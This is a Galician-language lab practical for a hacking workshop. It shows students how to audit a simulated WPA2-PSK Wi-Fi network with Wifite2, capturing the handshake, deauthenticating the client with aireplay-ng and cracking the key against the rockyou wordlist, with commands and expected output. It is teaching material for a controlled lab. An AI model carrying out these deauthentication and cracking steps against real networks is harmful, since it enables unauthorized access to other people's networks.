Auditar contrasinal Wi-Fi WPA2 (PSK) con Wifite
LIMITACIÓN DE RESPONSABILIDADE
O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información exposta no mesmo. Este documento foi xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso correspondente do administrador desas contornas.
O uso de Wifite ou calquera outra ferramenta de auditoría en redes Wi-Fi sen autorización expresa é ILEGAL.
1. Resumo
Esta práctica introduce o uso de Wifite2 como ferramenta automatizada para auditar redes Wi-Fi WPA2-PSK nun entorno controlado de laboratorio. O escenario xa está aprovisionado por wifilabctl; o estudante opera directamente a ferramenta de ataque.
Obxectivos de aprendizaxe:
- Empregar Wifite para automatizar captura de handshakes WPA2
- Auditar o contrasinal capturado con wordlist rockyou
- Comprender as limitacións e capacidades de ferramentas automatizadas
- Contrastar co método manual 1-ATAQUE_WPA2_PSK.md
2. Material necesario
Hardware/Software:
- Host alumnado
- Máquina virtual GNU/Linux Kali amd64
- RAM ≥ 2048MB
- CPU ≥ 2 cores
- PAE/NX habilitado
- ISO: Kali Live amd64
Ferramentas:
- wifite
- hostapd
- wpa_supplicant
- mac80211_hwsim
- aircrack-ng suite (aireplay-ng, airodump-ng)
- tshark (análise de tramas)
- Wordlist: /usr/share/wordlists/rockyou.txt.gz
Referencias:
- [0] 1-Taller-HE-Practica-WiFi-1.pdf
- [1] 1-Taller-HE-Practica-WiFi-2.pdf
3. Escenario e topoloxía
| Rol | Interface | Namespace | IP | Estado tras wifilabctl up |
|---|---|---|---|---|
| AP WPA2-PSK | wlan0 |
wifi_ap_wlan0 |
192.168.10.1 |
✅ Automático |
| Cliente WPA2 | wlan1 |
wifi_cliente_wlan1 |
192.168.10.2 |
✅ Automático |
| Atacante (Wifite) | wlan2 |
(global) | — | ⏳ Interface libre |
| Monitor adicional | wlan3 |
(global) | — | ⏳ Interface libre |
SSID: EMPRESA-XYZ · Contrasinal: spongebob19 · Canal: 6
[wlan1: Cliente PSK] ----wireless----> [wlan0: AP WPA2-PSK]
^
|
[wlan2mon: Wifite]
(captura handshake → aircrack-ng)
4. Procedemento
Resumo de terminais: | Terminal | Rol | |----------|----------------------------------------------------| | 1 | Arrancar o escenario e verificacións | | 2 | Executar Wifite + cracking automático |
Terminal 1 — Arrancar o escenario
# Arrancar o escenario PSK
sudo wifilabctl up psk
# Verificar que AP e cliente están activos
sudo wifilabctl status
Saída esperada:
[*] Informe de Estado do Laboratorio
============================================================
NAMESPACE INTERFACE IP ESTADO
---------------------------------------------------------------------------
wifi_cliente_wlan1 wlan1 192.168.10.2/24 UP
wifi_ap_wlan0 wlan0 192.168.10.1/24 UP
---------------------------------------------------------------------------
Interfaces GLOBAIS / ATACANTE:
(global) wlan2 (host/monitor) LISTO
(global) wlan3 (host/monitor) LISTO
⚠️ Se o cliente aínda non aparece como conectado, espera 5-10 segundos e repite
wifilabctl status.
Terminal 2 — Ataque con Wifite
Paso 1: Acceder como root e preparar wordlist
sudo su -
# Descomprimir rockyou se non está en texto plano
gunzip -kf /usr/share/wordlists/rockyou.txt.gz
Paso 2: Lanzar Wifite
--no-wps: Omitir ataques WPS (non procede neste escenario)
--dict: Wordlist para cracking con aircrack-ng
Paso 3: Avisos de procesos en conflito (normal)
Wifite detectará os procesos do escenario (hostapd, wpa_supplicant) e avisará:
[!] Conflicting processes: NetworkManager (PID 642), wpa_supplicant (PID 1919),
hostapd (PID 2009), wpa_supplicant (PID 2024)
[!] If you have problems: kill -9 PID or re-run wifite with --kill
⚠️ Non matar eses procesos. Son o AP e o cliente do escenario de laboratorio. Ignora o aviso e continúa.
Paso 4: Seleccionar a interface de ataque
A diferenza dun sistema con tarxeta Wi-Fi física, Wifite non selecciona automaticamente a interface — lista wlan2 e wlan3 (as dúas interfaces globais do escenario) e pide escoller:
Interface PHY Driver Chipset
-----------------------------------------------------------------------
1. wlan2 phy2 ?????? non-mac80211 device? (report this!)
2. wlan3 phy3 ?????? non-mac80211 device? (report this!)
[+] Select wireless interface (1-2): 1
Introducir 1 para seleccionar wlan2 e premer Enter.
💡 O aviso
non-mac80211 device?é normal conmac80211_hwsimen algunhas versións de Wifite. Non impide o funcionamento.
Paso 5: Escaneo e selección do AP obxectivo
Wifite escaneará en modo monitor. Cando apareza EMPRESA-XYZ premer Ctrl+C:
NUM ESSID CH ENCR PWR WPS CLIENT
--- ------------------------- --- ----- ---- --- ------
1 EMPRESA-XYZ 6 WPA-P 72db no
Seleccionar o AP:
Introducir 1 e premer Enter.
Paso 6: Ataque PMKID (primeiro intento automático — fallará)
Wifite intentará primeiro capturar o PMKID antes do handshake. Con mac80211_hwsim este ataque non funciona (ver Práctica 1-3). Esperar que apareza ou premer Ctrl+C para cancelalo e logo introducir c para continuar co seguinte ataque.
[+] (1/1) Starting attacks against 06:FE:D8:7D:4F:43 (EMPRESA-XYZ)
[+] EMPRESA-XYZ (72db) PMKID CAPTURE: Waiting for PMKID (4m47s) ^C
[!] Interrupted
[+] 1 attack(s) remain
[+] Do you want to continue attacking, or exit (c, e)? c
Paso 7: Captura do handshake WPA (segundo ataque automático)
Tras cancelar o PMKID, Wifite pasa ao ataque de captura de handshake:
[+] EMPRESA-XYZ (72db) WPA Handshake capture: Waiting for target to appear..
[+] EMPRESA-XYZ (72db) WPA Handshake capture: Listening. (clients:0, deauth:...)
Wifite executará internamente:
1. airodump-ng wlan2mon -c 6 --bssid <BSSID> → captura en modo monitor
2. aireplay-ng --deauth 5 -a <BSSID_AP> -c <MAC_CLIENTE> wlan2mon → forza reconexión
3. Captura o handshake 4-Way cando o cliente se reconecta
⚠️ Se
clients:0persiste moito tempo, o cliente aínda non está conectado. Verificar consudo wifilabctl statusnunha terceira terminal e esperar quewifi_cliente_wlan1aparezaUP.
Saída esperada cando captura o handshake:
Paso 8: Cracking automático con aircrack-ng
[+] Cracking WPA Handshake: Running aircrack-ng with rockyou wordlist
[+] Cracking WPA Handshake: 1.57% ETA: 18s @ 3497.8kps (current key: spongebob19)
[+] Cracked WPA Handshake PSK: spongebob19
[+] Access Point Name: EMPRESA-XYZ
[+] Access Point BSSID: 06:FE:D8:7D:4F:43
[+] Encryption: WPA
[+] Handshake File: /root/hs/handshake_EMPRESAXYZ_06-FE-D8-7D-4F-43_*.cap
[+] PSK (password): spongebob19
[+] saved crack result to cracked.json (1 total)
Contrasinal: spongebob19 ✓
Paso 9: Revisar ficheiros xerados
# Wifite garda ficheiros en /root/hs/
ls -lh /root/hs/
# Ver resultado crackeado
cat /root/cracked.json
Terminal 2 — Verificación manual do handshake
# Comprobar que o handshake é válido (o BSSID real verase en /root/hs/)
aircrack-ng -w /usr/share/wordlists/rockyou.txt /root/hs/handshake_EMPRESAXYZ_*.cap
# Extraer información EAPOL
tshark -r /root/hs/handshake_EMPRESAXYZ_*.cap -Y "eapol" -V | grep -i "key"
Saída de aircrack-ng cando ten éxito:
KEY FOUND! [ spongebob19 ]
Master Key : 00 35 42 60 BF F4 F0 DC 57 FA 6D 2C FF 97 F0 34
A2 F0 A5 7F EA 29 83 79 19 35 57 80 1A 63 40 EF
Transient Key : 84 79 3D 95 50 43 3E 7E F4 7B 41 6F 33 E6 DE 26
69 3B 4A AF 14 93 30 0A 01 AB 9D 44 1C 6E CE A3
C2 5E 18 FE F1 43 A4 2F 54 CE 7A B8 E2 FF 69 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : 08 0F C2 1D 29 48 2A AE B3 66 CF 49 88 6A 04 C3
5. Limitacións de Wifite e alternativa didáctica
Wifite2 é unha ferramenta AUTOMATIZADA que simplifica moitos pasos, pero ten limitacións:
- Deautenticación pode fallar se o cliente non reacciona aos paquetes deauth (timing, PMF, ou configuración de mac80211_hwsim).
- Non ofrece control fino sobre parámetros de captura (canal, tempo de espera, número de deauth).
- Wordlist por defecto pode non estar optimizada para este escenario.
6. Limpeza do laboratorio
Terminal 1:
# Deter e eliminar o escenario completamente
sudo wifilabctl reset
# Verificar que non quedan namespaces
ip netns list
Terminal 2 (se wlan2 quedou en modo monitor):